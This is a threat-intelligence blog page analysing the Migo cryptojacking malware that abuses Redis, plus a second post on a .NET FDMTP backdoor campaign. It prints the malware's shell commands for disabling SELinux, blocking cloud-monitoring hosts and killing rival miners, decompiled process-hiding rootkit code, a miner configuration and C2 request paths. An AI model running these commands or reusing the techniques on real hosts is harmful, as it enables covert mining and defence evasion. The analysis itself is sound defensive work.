ブログ
/
Cloud
/
February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
20
Feb 2024

A screenshot of a computerAI-generated content may be incorrect.
Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job. 
This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

A screenshot of a computerAI-generated content may be incorrect.
Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary Payload – Static Properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

 Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily Payload – Capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

A screenshot of a computerAI-generated content may be incorrect.
Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents of system-kernel.timer

Process Hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of Compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP Addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

Network

/

May 14, 2026

Chinese APT Campaign Targets Entities with Updated FDMTP Backdoor

Default blog imageDefault blog image

Darktrace have identified activity consistent with Chinese-nexus operations, a Twill Typhoon-linked campaign targeting customer environments, primarily within the Asia-Pacific & Japan (APJ) region

Beginning in late September 2025, multiple affected hosts were observed making requests to domains impersonating content delivery networks (CDNs), including infrastructure masquerading as Yahoo- and Apple-affiliated services. Across these cases, Darktrace identified a consistent behavioral execution pattern: the retrieval of legitimate binaries alongside malicious Dynamic Link Libraries (DLLs), enabling sideloading and execution of a modular .NET-based Remote Access Trojan (RAT) framework.

The activity aligns with patterns described in Darktrace’s previous Chinese-nexus operations report, Crimson Echo. In this case, observed modular intrusion chains built on legitimate software, and staged payload delivery. Threat actors retrieve legitimate binaries alongside configuration files and malicious DLLs to enable sideloading of a .NET-based RAT.

Observed Campaign

Across cases, the same ordered sequence appears: retrieval of a legitimate executable, (2) retrieval of a matching .config file, (3) retrieval of the malicious

DLL, (4) repeated DLL downloads over time, and (5) command-and-control (C2) communication. The .config file retrieves a malicious binary, while the legitimate binary provides a legitimate process to run it in.

Darktrace assesses with moderate confidence that this activity aligns with publicly reported Twill Typhoon tradecraft. The observed use of FDMTP, DLL sideloading, and overlapping infrastructure is consistent with previously observed operations, though not unique to a single actor. While initial access was not directly observed, previous Twill Typhoon campaigns have typically involved spear-phishing.

What Darktrace Observed

Since late September 2025, Darktrace has observed multiple customer environments making HTTP GET requests to infrastructure presenting as “CDN” endpoints for well-known platforms (including Yahoo and Apple lookalikes). Across cases, the affected hosts retrieved legitimate executables, then matching .config files (same base filename), then DLLs intended for sideloading. The sequencing of a legitimate binary + configuration + DLL  has been previously observed in campaigns linked to China-nexus threat actors.

In several cases, affected hosts also issued outbound requests to a /GetCluster endpoint, including the protocol=Dotnet-Tcpdmtp parameter. This activity was repeatedly followed by retrieval of DLL content that was subsequently used for search-order hijacking within legitimate processes.

In the September–October 2025 cases, Darktrace alerting commonly surfaced early-stage registration and C2 setup behaviors, followed by retrieval of a DLL (e.g., Client.dll) from the same external host, sometimes repeatedly over multiple days, consistent with establishing and maintaining the execution chain.

In April 2026, a finance-sector endpoint initiated a series of GET requests to yahoo-cdn[.]it[.]com, first fetching legitimate binaries (including vshost.exe and dfsvc.exe), then repeatedly retrieving associated configuration and DLL components (including dfsvc.exe.config and dnscfg.dll) over an 11-day window. The use of both Visual Studio hosting and OneClick (dfsvc.exe) paths are used to ensure the malware can run in the targeted environment.

Technical Analysis

Initial staging and execution

While the initial access method is unknown, Darktrace security researchers identified multiple archives containing the malware.

A representative example includes a ZIP archive (“test.zip”) containing:

  • A legitimate executable: biz_render.exe (Sogou Pinyin IME)
  • A malicious DLL: browser_host.dll

Contained within the zip archive named “test.zip” is the legitimate binary “biz_render.exe”, a popular Chinese Input Method Editor (IME) Sogou Pinyin.

Alongside the legitimate binary is a malicious DLL named “browser_host.dll”. As the legitimate binary loads a legitimate DLL named “browser_host.dll” via LoadLibraryExW, the malicious DLL has been named the same to sideload the malicious DLL into biz_render.exe. By supplying a malicious DLL with an identical name, the actor hijacks execution flow, enabling the payload to execute within a trusted process.

Figure 1: Biz_render.exe loading browser_host.dll.

The legitimate binary invokes the function GetBrowserManagerInstance from the sideloaded “browser_host.dll”, which then performs XOR-based decryption of embedded strings (key 0x90) to resolve and dynamically load mscoree.dll.

The DLL uses the Windows Common Language Runtime (CLR) to execute managed .NET code inside the process rather than relying solely on native binaries. During execution, the loader loads a payload directly into memory as .NET assemblies, enabling an in-memory execution.

C2 Registration

A GET request is made to:

GET /GetCluster?protocol=DotNet-TcpDmtp&tag={0}&uid={1}

with the custom header:

Verify_Token: Dmtp

This returns Base64-encoded and gzip-compressed IP addresses used for subsequent communication.

Figure 2: Decoded IPs.

Staged payload retrieval

Subsequent activity includes retrieval of multiple components from yahoo-cdn.it[.]com. The following GET requests are made:

/dfsvc.exe

/dnscfg.dll

/dfsvc.exe.config

/vhost.exe

/Microsoft.VisualStudio.HostingProcess.Utilities.Sync.dll

/config.etl

ClickOnce and AppDomain hijacking

Dfsvc.exe is the legitimate Windows ClickOnce Engine, part of the .NET framework used for updating ClickOnce Applications. Accompanying dfsvc.exe is a legitimate dfsvc.exe.config file that is used to store configuration data for the application. However, in this instance the malware has replaced the legitimate dfsvc.exe.config with the one retrieved from the server in: C:\Windows\Microsoft.NET\Framework64\v4.0.30319.

Additionally, vhost.exe the legitimate Visual Studio hosting process is retrieved from the server, along with “Microsoft.VisualStudio.HostingProcess.Utilities.Sync.dll” and “config.etl”. The DLL is used to decrypt the AES encrypted payload in config.etl and load it. The encrypted payload is dnscfg.dll, which can be loaded into vshost instead of dfsvc, and may be used if the environment does not support .NET.

Figure 3: ClickOnce configuration.

The malicious configuration disables logging, forces the application to load dnscfg.dll from the remote server, and uses a custom AppDomainManager to ensure the DLL is executed during initialization of dfsvc.exe. To ensure persistence, a scheduled task is added for %APPDATA%\Local\Microsoft\WindowsApps\dfsvc.exe.

Core payload

The DLL dnscfg.dll is a .NET binary named Client.TcpDmtp.dll. The payload is a heavily obfuscated backdoor that generates its logic at runtime and communicates with the command and control (C2) over custom TCP, DMTP (Duplex Message Transport Protocol) and appears to be an updated version of FDMTP to version 3.2.5.1

Figure 4: InitializeNewDomain.

The payload:

  • Uses cluster-based resolution (GetHostFromCluster)
  • Implements token validation
  • Enters a persistent execution loop (LoopMessage)
  • Supports structured remote tasking over DMTP

Once connected, the malware enters a persistent loop (LoopMessage), enabling it to receive commands from the remote server.

Figure 5: DMTP Connect function.

Rather than referencing values directly, they are retrieved through containers that are resolved at runtime. String values are stored in an encrypted byte array (_0) and decrypted by a custom XOR-based string decryption routine (dcsoft). The lower 16 bits of the provided key are XORed with 0xA61D (42525) to derive the initial XOR key, while subsequent bits define the string length and offset into the encrypted byte array. Each character is reconstructed from two encrypted bytes and XORed with the incrementing key value, producing the plaintext string used by the payload.

Figure 6: Decrypted strings.

Embedded in the resources section are multiple compressed binaries, the majority of which are library files. The only exceptions are client.core.dll and client.dmtpframe.dll.

Figure 7: Resources.

Modular framework and plugins

The payload embeds multiple compressed libraries, notably:

  • client.core.dll
  • client.dmtpframe.dll

Client.core.dll is a core library used for system profiling, C2 communication and plugin execution. The implant has the functionality to retrieve information including antivirus products, domain name, HWID, CLR version, administrator status, hardware details, network details, operating system, and user.

Figure 8: Client.Core.Info functions.

Additionally, the component is responsible for loading plugins, with support for both binary and JSON-based plugin execution. This allows plugins to receive commands and parameters in different formats depending on the task being performed.

The framework handles details such as plugin hashes, method names, task identifiers, caller tracking, and argument processing, allowing plugins to be executed consistently within the environment. In addition to execution management, the library also provides plugins with access to common runtime functionality such as logging, communication, and process handling.

Figure 9: Client.core functions.

client.dmtpframe.dll handles:

  • DMTP communication
  • Heartbeats and reconnection
  • Plugin persistence via registry:

HKCU\Software\Microsoft\IME\{id}

Client.dmtpframe.dll is built on the TouchSocket DMTP networking library and continues to manage the remote plugins. The DLL implements remote communication features including heartbeat maintenance, reconnection handling, RPC-style messaging, SSL support, and token-based verification. The DLL also has the ability to add plugins to the registry under HKCU/Software/Microsoft/IME/{id} for persistence.

Plugins observed

While the full set of plugins remains unknown, researchers were able to identify four plugins, including:

  • Persist.WpTask.dll - used to create, remove and trigger scheduled Windows tasks remotely.
  • Persist.registry.dll - used to manage registry persistence with the ability to create, and delete registry values, along with hidden persistence keys.
  • Persist.extra.dll - used to load and persist the main framework.
  • Assist.dll - used to remotely retrieve files or commands, as well as manipulate system processes.
Figure 10: Plugins stored in IME registry.
Figure 11: Obfuscated script in plugin resources.

Persist.extra.dll is a module that is used to load a script “setup.log” to load and persist the main framework. Stored within the resources section of the binary is an obfuscated script that creates a .NET COM object that is added to the registry key HKCU\Software\Classes\TypeLib\ {9E175B61-F52A-11D8-B9A5-505054503030} \1.0\1\Win64 for persistence. After deobfuscating this script, another DLL is revealed named “WindowsBase.dll”.

Figure 12: Registry entry for script.

The binary checks in with icloud-cdn[.]net every five minutes, retrieves a version string, downloads an encrypted payload named checksum.bin, saves it locally as C:\ProgramData\USOShared\Logs\checksum.etl, decrypts it with AES using the hardcoded key POt_L[Bsh0=+@0a., and loads the decrypted assembly directly from memory via Assembly.Load(byte[]). The version.txt file acts as an update marker so it only re-downloads when the remote version changes, while the mutex prevents duplicate instances.

Figure 13: USOShared/Logs.

Checksum.etl is decrypted with AES and loaded into memory, loading another .NET DLL named “Client.dll”. This binary is the same as “dnscfg.dll” mentioned at the start and allows the threat actors to update the main framework based on the version.

Conclusion

Across cases, Darktrace consistently observed the following sequence:

  • Retrieval of legitimate executables
  • Retrieval of DLLs for sideloading
  • C2 registration via /GetCluster

This approach is consistent with broader China-nexus tradecraft. As outlined in Darktrace’s Crimson Echo report, the stable feature of this activity is behavioral. Infrastructure rotates and payloads can change, but the execution model persists. For defenders, the implication is straightforward: detection anchored to individual indicators will degrade quickly. Detection anchored to a behavioral sequence offer a far more durable approach.

Credit to Tara Gould (Malware Research Lead), Adam Potter (Senior Cyber Analyst), Emma Foulger (Global Threat Research Operations Lead), Nathaniel Jones (VP, Security & AI Strategy)

Edited by Ryan Traill (Content Manager)


Appendices

A detailed list of detection models and triggered indicators is provided alongside IoCs.

